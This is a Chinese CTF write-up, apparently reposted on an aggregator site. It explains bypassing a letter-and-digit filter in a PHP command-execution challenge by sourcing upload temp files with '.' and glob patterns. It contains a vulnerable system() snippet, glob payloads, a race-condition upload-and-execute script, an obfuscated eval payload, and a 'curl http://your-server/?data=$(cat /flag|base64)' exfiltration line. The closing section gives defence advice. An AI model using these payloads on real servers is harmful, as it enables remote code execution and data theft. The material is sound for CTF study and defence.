news 2026/4/28 15:27:17

CTFshow命令执行实战:如何用点号(.)绕过无字母数字限制拿flag?

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTFshow命令执行实战:如何用点号(.)绕过无字母数字限制拿flag?

CTFshow命令执行实战:点号(.)在无字母数字限制下的妙用

1. 突破无字母数字限制的核心思路

在CTF比赛中,命令执行类题目常常会设置各种过滤规则来限制选手的操作空间。其中最常见的就是过滤字母和数字字符,这种限制看似严苛,实则暗藏玄机。当遇到这类限制时,我们需要跳出常规思维,寻找那些被忽略的特殊符号的潜在价值。

点号(.)在Linux系统中具有特殊含义,它相当于source命令的简写形式。这个看似不起眼的小点,在特定场景下可以成为突破防线的利器。与常见的通配符绕过不同,点号绕过的核心在于:

  • 执行权限无关性:通过点号执行文件时,不需要目标文件具备可执行权限
  • 临时文件利用:结合上传功能产生的临时文件,可以构造完整的攻击链
  • 正则盲区:多数过滤规则会忽略对点号的限制,形成安全防护的盲点

2. 环境准备与基础知识

2.1 Linux点号命令详解

在Linux系统中,点号(.)主要有以下两种用法:

# 用法1:执行当前shell环境中的脚本 . /path/to/script.sh # 用法2:等同于source命令 source /path/to/script.sh

与直接执行脚本不同,点号执行的特点包括:

执行方式需要执行权限运行环境变量影响范围
./script.sh子shell不保留
. script.sh当前shell保留

2.2 CTF中常见过滤规则分析

典型无字母数字限制的过滤规则通常如下:

if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); }

这条规则过滤了:

  • 分号(;)
  • 所有字母字符(a-z)
  • 反引号(`)
  • 百分号(%)
  • 水平制表符(\x09)
  • &符号(>, <)
  • 未过滤点号(.)

3. 实战操作:从文件上传到命令执行

3.1 构造文件上传数据包

首先需要准备一个能够上传文件的HTML表单:

<!DOCTYPE html> <html> <head> <title>文件上传POC</title> </head> <body> <form action="http://target.url" method="post" enctype="multipart/form-data"> <input type="file" name="file"> <input type="submit" value="上传"> </form> </body> </html>

关键点在于:

  • 必须设置enctype="multipart/form-data"
  • 文件字段名需要与后端预期一致(通常为file

3.2 临时文件特征分析

PHP处理上传文件时,会先将文件存储在临时目录(通常是/tmp),并生成随机文件名。这些文件名的特征为:

/tmp/phpXXXXXX

其中XXXXXX是6位随机字符(大小写字母)。我们可以利用通配符匹配这些文件:

通配符匹配规则示例匹配结果
?匹配单个任意字符phpABC123
[@-[]匹配大写字母(A-Z)phpDEF456
*匹配任意长度任意字符任何php开头的文件

3.3 组合利用技巧

完整的攻击流程分为三个步骤:

  1. 文件上传:通过表单上传包含恶意命令的脚本文件
  2. 临时文件定位:使用通配符匹配/tmp/phpXXXXXX文件
  3. 命令执行:通过点号执行匹配到的临时文件

实际操作命令示例:

. /???/????????[@-[]

这条命令的解析:

  • /???/:匹配/tmp/目录(假设tmp是3字母)
  • ????????:匹配8字符长度的文件名(phpXXXXXX)
  • [@-[]:确保匹配大写字母,提高命中率

4. 高级技巧与变种应用

4.1 无回显场景下的处理

当命令执行没有直接回显时,可以采用以下方法:

  1. 延时判断:通过sleep命令观察响应时间差异
  2. 外带数据:使用curl/wget将结果发送到可控服务器
  3. 文件写入:将结果写入web目录可访问的文件
#!/bin/sh curl http://your-server/?data=$(cat /flag|base64)

4.2 多级通配符优化

在更严格的过滤环境下,可以组合使用多种通配符:

. /???/php???[A-Z]*

这种写法:

  • 精确匹配php前缀
  • 限制随机字符范围
  • 适应不同长度的临时文件名

4.3 竞争条件处理

由于临时文件存在时间很短,可能需要多次尝试或自动化脚本:

import requests import threading def upload_and_exec(): while True: files = {'file': ('payload.sh', '#!/bin/sh\ncat /flag', 'text/plain')} requests.post(target_url, files=files) requests.get(target_url, params={'c': '. /???/php??????'}) threads = [threading.Thread(target=upload_and_exec) for _ in range(10)] [t.start() for t in threads]

5. 防御方案与题目设计建议

对于防御者而言,防范此类攻击需要多层防护:

  1. 输入过滤增强

    // 增加对点号的过滤 if(!preg_match("/\.|\;|[a-z]/i", $c)){ system($c); }
  2. 临时文件处理

    • 设置upload_tmp_dir到非标准路径
    • 及时清理上传的临时文件
  3. 权限控制

    location ~* \.(sh|bash)$ { deny all; }

对于CTF题目设计者,可以设计更复杂的场景:

  • 限制通配符使用(过滤?*
  • 增加临时文件名的随机性(混合特殊字符)
  • 设置执行超时限制

6. 同类题目扩展思路

这种绕过方式可以衍生出多种变种题目:

  1. 有限字符集执行:只允许使用$(){}[]<>?*等特殊符号
  2. 无文件写入RCE:结合环境变量注入等方式
  3. 特殊上下文绕过:在eval()assert()等不同函数环境下的利用

一个典型的进阶题目示例:

if(!preg_match("/[a-z0-9]|\/|\\\/i", $c)){ eval($c); }

解法可能涉及:

?><?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`?>

这种场景下,点号绕过的思路同样适用,只是需要结合更多编码技巧。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/19 22:22:02

终极指南:如何深度掌控Windows Defender完全权限

终极指南&#xff1a;如何深度掌控Windows Defender完全权限 【免费下载链接】defender-control An open-source windows defender manager. Now you can disable windows defender permanently. 项目地址: https://gitcode.com/gh_mirrors/de/defender-control 在Wind…

作者头像 李华
网站建设 2026/4/16 16:08:20

终极指南:如何用UnrealPakViewer可视化分析虚幻引擎Pak文件

终极指南&#xff1a;如何用UnrealPakViewer可视化分析虚幻引擎Pak文件 【免费下载链接】UnrealPakViewer 查看 UE4 Pak 文件的图形化工具&#xff0c;支持 UE4 pak/ucas 文件 项目地址: https://gitcode.com/gh_mirrors/un/UnrealPakViewer 你是否曾为虚幻引擎项目中庞…

作者头像 李华
网站建设 2026/4/27 4:30:35

3步搞定PowerToys:Windows效率神器的核心挑战与解决方案

3步搞定PowerToys&#xff1a;Windows效率神器的核心挑战与解决方案 【免费下载链接】PowerToys Microsoft PowerToys is a collection of utilities that supercharge productivity and customization on Windows 项目地址: https://gitcode.com/GitHub_Trending/po/PowerTo…

作者头像 李华
网站建设 2026/4/22 2:46:38

ROS小乌龟运动控制实战:键盘与话题发布双方案解析

1. ROS小乌龟运动控制入门指南 刚接触ROS的朋友们&#xff0c;一定对那个可爱的小乌龟仿真器不陌生。这个看似简单的仿真环境&#xff0c;其实是理解ROS通信机制的最佳实验场。今天我们就来聊聊如何用两种不同方式控制小乌龟移动&#xff0c;这就像学开车时先用手动挡再学自动…

作者头像 李华